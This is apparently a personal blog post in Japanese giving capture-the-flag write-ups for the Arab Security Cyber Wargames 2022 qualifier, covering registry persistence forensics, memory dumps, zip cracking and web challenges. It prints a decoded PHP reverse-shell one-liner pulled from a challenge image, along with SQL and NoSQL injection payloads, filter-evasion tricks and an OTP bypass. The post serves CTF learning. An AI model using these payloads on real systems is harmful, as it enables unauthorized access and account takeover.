はまやんはまやんはまやん

hamayanhamayan's blog

Arab Security Cyber Wargames Championship 2022 Qual Writeups

CTFtime.org / Arab Security Cyber Wargames 2022 Qualifications

[Forensic] Persistent Ghost

Windowsで永続化と言えばASEP(:AutoStart Extensibility Points)を悪用したものなので、関連キーワードで検索していく。

RunOnceで検索すると、

Key Name:          HKEY_USERS\S-1-5-21-901556830-2814386773-1323051072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Class Name:        <NO CLASS>
Last Write Time:   7/24/2022 - 9:10 PM
Value 0
  Name:            OneDrive
  Type:            REG_SZ
  Data:            "C:\Users\CAIOS\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background

Value 1
  Name:            Part-II
  Type:            REG_SZ
  Data:            yZWF0ZUV2ZW50KE5vbmUsMCwwLE5vbmUpCiAgICAgICAgc29ja2V0LnNldGRlZmF1bHR0aW1lb3V0KCIxMzM3X0hhY2tlcnpfIikKCiAgICBkZWYgU3ZjU3RvcChzZWxmKToKICAgICAgICBzZWxmLlJlcG9ydFNlcnZpY2VTdGF0dXMod2luMzJzZXJ2aWNlLlNFUlZJQ0VfU1RPUF9QRU5ESU5HKQogICAgICAgIHdpbjMyZXZlbnQuU2V0RXZlbnQoc2VsZi5oV2FpdFN0b3ApCgogICAgZGVmIFN2Y0RvUnVuKHNlbGYpOgogICAgICAgIHNlcnZpY2VtYW5hZ2VyLkxvZ01zZyhzZXJ2aWNlbWFuYWdlci5FVkVOVExPR19JTkZPUk1BVElPTl9UWVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJ2aWNlbWFuYWdlci


Key Name:          HKEY_USERS\S-1-5-21-901556830-2814386773-1323051072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Class Name:        <NO CLASS>
Last Write Time:   7/24/2022 - 10:10 PM

こんな感じのものが見つかる。
最初はスルーしたが、Part-IIという意味深なものがあるので、Part-Iで検索するとIからIIIまであった。
全部持ってきて結合すると、以下のようにいかにもbase64

aW1wb3J0IHdpbjMyc2VydmljZXV0aWwKaW1wb3J0IHdpbjMyc2VydmljZQppbXBvcnQgd2luMzJldmVudAppbXBvcnQgc2VydmljZW1hbmFnZXIKaW1wb3J0IHNvY2tldAoKCmNsYXNzIEFwcFNlcnZlclN2YyAod2luMzJzZXJ2aWNldXRpbC5TZXJ2aWNlRnJhbWV3b3JrKToKICAgIF9zdmNfbmFtZV8gPSAiQVNDV0d7IgogICAgX3N2Y19kaXNwbGF5X25hbWVfID0gIlAzcnMxc3RlbmMzXzFzIgoKICAgIGRlZiBfX2luaXRfXyhzZWxmLGFyZ3MpOgogICAgICAgIHdpbjMyc2VydmljZXV0aWwuU2VydmljZUZyYW1ld29yay5fX2luaXRfXyhzZWxmLGFyZ3MpCiAgICAgICAgc2VsZi5oV2FpdFN0b3AgPSB3aW4zMmV2ZW50LkNyZWF0ZUV2ZW50KE5vbmUsMCwwLE5vbmUpCiAgICAgICAgc29ja2V0LnNldGRlZmF1bHR0aW1lb3V0KCIxMzM3X0hhY2tlcnpfIikKCiAgICBkZWYgU3ZjU3RvcChzZWxmKToKICAgICAgICBzZWxmLlJlcG9ydFNlcnZpY2VTdGF0dXMod2luMzJzZXJ2aWNlLlNFUlZJQ0VfU1RPUF9QRU5ESU5HKQogICAgICAgIHdpbjMyZXZlbnQuU2V0RXZlbnQoc2VsZi5oV2FpdFN0b3ApCgogICAgZGVmIFN2Y0RvUnVuKHNlbGYpOgogICAgICAgIHNlcnZpY2VtYW5hZ2VyLkxvZ01zZyhzZXJ2aWNlbWFuYWdlci5FVkVOVExPR19JTkZPUk1BVElPTl9UWVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJ2aWNlbWFuYWdlci5QWVNfU0VSVklDRV9TVEFSVEVELAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoc2VsZi5fc3ZjX25hbWVfLCcnKSkKICAgICAgICBzZWxmLm1haW4oKQoKICAgIGRlZiBtYWluKHNlbGYpOgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICdfX21haW5fXyc6CiAgICB3aW4zMnNlcnZpY2V1dGlsLkhhbmRsZUNvbW1hbmRMaW5lKEFwcFNlcnZlclN2YykKICAgIHByaW50KCJzazFsbHp9Iik=

デコードすると

import win32serviceutil
import win32service
import win32event
import servicemanager
import socket


class AppServerSvc (win32serviceutil.ServiceFramework):
    _svc_name_ = "ASCWG{"
    _svc_display_name_ = "P3rs1stenc3_1s"

    def __init__(self,args):
        win32serviceutil.ServiceFramework.__init__(self,args)
        self.hWaitStop = win32event.CreateEvent(None,0,0,None)
        socket.setdefaulttimeout("1337_Hackerz_")

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)

    def SvcDoRun(self):
        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,
                              servicemanager.PYS_SERVICE_STARTED,
                              (self._svc_name_,''))
        self.main()

    def main(self):
        pass

if __name__ == '__main__':
    win32serviceutil.HandleCommandLine(AppServerSvc)
    print("sk1llz}")

もうほぼほぼ答えですね、、、
適当につなげてフラグを作る。

ASCWG{P3rs1stenc3_1s1337_Hackerz_sk1llz}

[forensic] Walk Down Memory Lane (2)

ダンプファイルなので、WinDbgを開いて…と思ったが、strings Microsoft.dmp | grep ASCWGとしたらフラグっぽいのが出てきて、提出したら正解だった…

ASCWG{W1ndbG!$Sup3R_C0o1}

修正版も適当にgrepしたら解けました…
ずるをしました。(懺悔)
前問の出力を見ながら適当にgrepするとそれっぽい文字列が出てくる。
strings Microsoft.dmp | grep "\id="でフラグっぽいのが出てきたから、提出したら答え。

[forensic] Warmup 1

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Wireless]
@="192.168.1.134"

これがそれっぽい。sha1sumでハッシュを作り、フォーマットを合わせれば正解だった。

$ echo '192.168.1.134' | sha1sum
7b4be24b7e1f4ef01ebb62fce8fe3470857edaf7  -

ASCWG{7b4be24b7e1f4ef01ebb62fce8fe3470857edaf7}

[forensic] Warmup 2

strings Challenge.jpg -n 10すると、何やらコード片が見つかる。

%20%24sock%3Dfsockopen%28%22192%2E168%2E1%2E105%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

URLデコードすると

$sock=fsockopen("192.168.1.105",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

IPアドレスが得られたので、sha1sumして形式を合わせて提出。

─$ echo '192.168.1.105' | sha1sum
cc0e30c2dc233fc58591c987c4eaf751ff25132b  -

ASCWG{cc0e30c2dc233fc58591c987c4eaf751ff25132b}

[forensic] Weird FS

FTK Imagerでとりあえず開く。
探索すると、Partition 1のvolume_0/root/Flag.zipというのがある。
解凍しようとするとパスワードを聞かれるのでjohnとrockyouでクラックを試す。

$ zip2john Flag.zip > h
ver 1.0 efh 5455 efh 7875 Flag.zip/Flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=35, decmplen=23, crc=A0A972CC ts=904C cs=904c type=0

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
...
juelma           (Flag.zip/Flag.txt)     
...

パスワードはjuelmaのようなので解凍するとフラグが得られる。

ASCWG{M4C_4N6_1$_Co0l}

[web] konan

adminと打つと次に進む。
OTPを要求されるが、適当に打ってもダメ。
OTPを送るときにPOST /otp/verifyを送信するが、その応答のerrorsをinterceptしてfalseに変えてやるとOTP検証をbypassできる。
HackerOneか、BugBountyのWriteupでこういうbypass方法見たことあるな。

ASCWG{@$CASQWsd#w8_3232_xasw_xas@1da_easy}


以下復習

[web] Drunken Developer

ログインする必要がある。
ソースを見ると<!-- Temp mail in development time wars_admin2@vistaemail.com -->とあるのでアドレスはわかった。 このvistaemail.comというのは捨てアドサービスであり、検索すれば受信フォルダがみられる。
なので、あとはパスワード変更をこの受信フォルダを使って行ってログインする。

[web] Evil Volunteer

Arab Security Cyber WarGames - Championship 2022 | Mr-R19HT

あーなるほど、画像ファイルをそのまま出力することができるので、コメントにphpコードを埋め込めばRCE可能。

[web] Kenzy

ソースコード<!-- Username =====> admin -->とあるので、ユーザー名はadmin。
captchaはレスポンスに答えが載っているのでそれを渡すだけでbypass可能。
あとはパスワードに' or ''='を入れるとSQL injectionができたので、captchaをbypassしながらBlind SQL Injectionするとフラグが得られる…はず

はずだが、何かに阻まれて刺さらない…

ASC Wargames Qualifications 2022| Kenzy | Web Challenge Write-up | by Adham A. Makroum | Aug, 2022 | Medium

フィルタあったのね。ソースコードを下さい…

空白を/**/にして、orはフィルタされるのでoorrとしてbypassする。
あとは、頑張る。

[web] Doctor-X

適当にエラーを出すと、nosqlという文字が見える。

SyntaxError: Unexpected string in JSON at position 33<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at parse (/home/amr.hamza/Nosql/challenge1/node_modules/body-parser/lib/types/json.js:89:19)<br> &nbsp; &nbsp;at /home/amr.hamza/Nosql/challenge1/node_modules/body-parser/lib/read.js:128:18<br> &nbsp; &nbsp;at AsyncResource.runInAsyncScope (node:async_hooks:202:9)<br> &nbsp; &nbsp;at invokeCallback (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:231:16)<br> &nbsp; &nbsp;at done (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:220:7)<br> &nbsp; &nbsp;at IncomingMessage.onEnd (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:280:7)<br> &nbsp; &nbsp;at IncomingMessage.emit (node:events:539:35)<br> &nbsp; &nbsp;at endReadableNT (node:internal/streams/readable:1345:12)<br> &nbsp; &nbsp;at processTicksAndRejections (node:internal/process/task_queues:83:21)

POST /loginで色々やると

evilman1:evilman1というアカウントを作っておくと
{"name":{"$regex":".*"},"password":"evilman1"}でログイン可能なことに気が付く

同様の手口で色々やっていくと
POST /updatepassword{"id":1,"password":{"$regex":".*"},"newpassword":"kpwiMh88kYPVWX2"}のようにやると特定のidのパスワードを変更できる。
あとは、そのパスワードを使って、POST /login{"name":{"$regex":".*"},"password":"kpwiMh88kYPVWX2"}みたいにすると特定のidにログイン可能。

id=1のユーザーにログインしてPOST /testしてみる

{"_id":"62ed0c4b003ed8a54d5da449","name":"Admin_Cyber_War_Games","id":1,"desc":"Try_Harder","passwords":[{"password":"V3ry_H@rd_P@$$word_2022","_id":"62ed0c4b003ed8a54d5da44a"},{"password":"evilman3'","_id":"62ed4313f1a15a49331a1a58"},{"password":"kpwiMh88kYPVWX","_id":"62ed4322f1a15a49331a1a5b"},{"password":"kpwiMh88kYPVWX","_id":"62ed4347f1a15a49331a1a60"},{"password":"kpwiMh88kYPVWX","_id":"62ed4354f1a15a49331a1a65"},{"password":"kpwiMh88kYPVWX","_id":"62ed435af1a15a49331a1a6b"},{"password":"kpwiMh88kYPVWX2","_id":"62ed4371f1a15a49331a1a6e"}],"tokens":[{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwibmFtZSI6IkFkbWluX0N5YmVyX1dhcl9HYW1lcyIsImlhdCI6MTY1OTcxNjQ2OCwiZXhwIjoxNjU5ODAyODY4fQ.lj3Dkm3fc5DE65d0d9lNQvLfFwBnpftqllSFZhuXkB8","_id":"62ed4374f1a15a49331a1a71"}],"__v":7}

んあー、まだ何かあるのか…
なにがあるの?

ASCWGs Qualifications 2022 CTF ウェブ チャレンジ ライトアップ | ムハンマド・アデル

あ、これでログインすると別のエンドポイントが出てくるのか。
そっちを同じ手口で探索していくとフラグが得られる。